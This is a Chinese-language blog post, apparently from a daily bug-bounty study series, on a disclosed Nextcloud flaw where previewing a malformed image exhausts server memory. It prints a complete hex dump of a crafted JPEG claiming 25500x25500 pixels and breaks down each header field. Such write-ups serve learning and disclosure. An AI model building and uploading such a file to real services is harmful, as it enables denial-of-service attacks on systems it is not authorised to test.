漏洞挖掘365天挑战——Day069:漏洞报告学习之High memory usage for generating preview of broken image

链接:https://hackerone.com/reports/1261225

作者发现,在上传文件之后,预览的时候,PHP的进程会分配大量的内存,很容易被Ddos。

作者是构造了一些假head的jpeg文件。 主要是头部信息是假的。

代码如下:

00000000  ff d8 ff db 00 43 00 41  41 41 41 41 41 41 41 41  |.....C.AAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  41 41 41 41 41 41 41 ff  c0 00 11 08 63 9c 63 9c  |AAAAAAA.....c.c.|
00000050  03 00 22 00 01 22 01 02  22 00 ff da 00 08 01 00  |..".."..".......|
00000060  00 00 3f 00 ff d9 0a                              |..?....|
00000067

0xff 0xd8 -> soi (start of image)
0xff 0xdb -> dqt (define quantization table)
2 bytes length (0x43)
1 byte index (0x00)
64 bytes table (0x41 ... 0x41)

0xff 0xc0 -> sof0 (baseline dct)
2 bytes length (0x11)
1 byte data precision (0x08)
2 bytes height (0x63 0x9c -> 25500)
2 bytes width (0x63 0x9c -> 25500)
1 byte number of components (0x03)
1 byte id first component (0x00)
1 byte sample factor (0x22)
1 byte number quant. table (0x00)
1 byte id second component (0x01)
1 byte sample factor (0x22)
1 byte number quant. table (0x01)
1 byte id third component (0x02)
1 byte sample factor (0x22)
1 byte number quant. table (0x00)

0xff 0xda -> sos (start of scan)
2 bytes length (0x08)
1 byte number of components (0x01)
1 byte id of component (0x00)
1 byte table index (0x00)
3 byte ignore data (0x00 0x3f 0x00)

0xff 0xd9 -> eoi (end of image)

0x0a (line break)

上面的假的JEPG,指定了一个大小。 这个文件指定了25500 x 25500像素的大小,所以它需要分配大量的内存来保存图像数据。 所以造成了进程需要分配大量的内容。

然后拿到了100美元和一个CVE

https://github.com/nextcloud/security-advisories/security/advisories/GHSA-jf3h-xf4q-mh89

漏洞挖掘365天挑战——Day069:漏洞报告学习之High memory usage for generating preview of broken image”的一个响应

发表评论

Fill in your details below or click an icon to log in:

WordPress.com 徽标

您正在使用您的 WordPress.com 账号评论。 注销 /  更改 )

Facebook photo

您正在使用您的 Facebook 账号评论。 注销 /  更改 )

Connecting to %s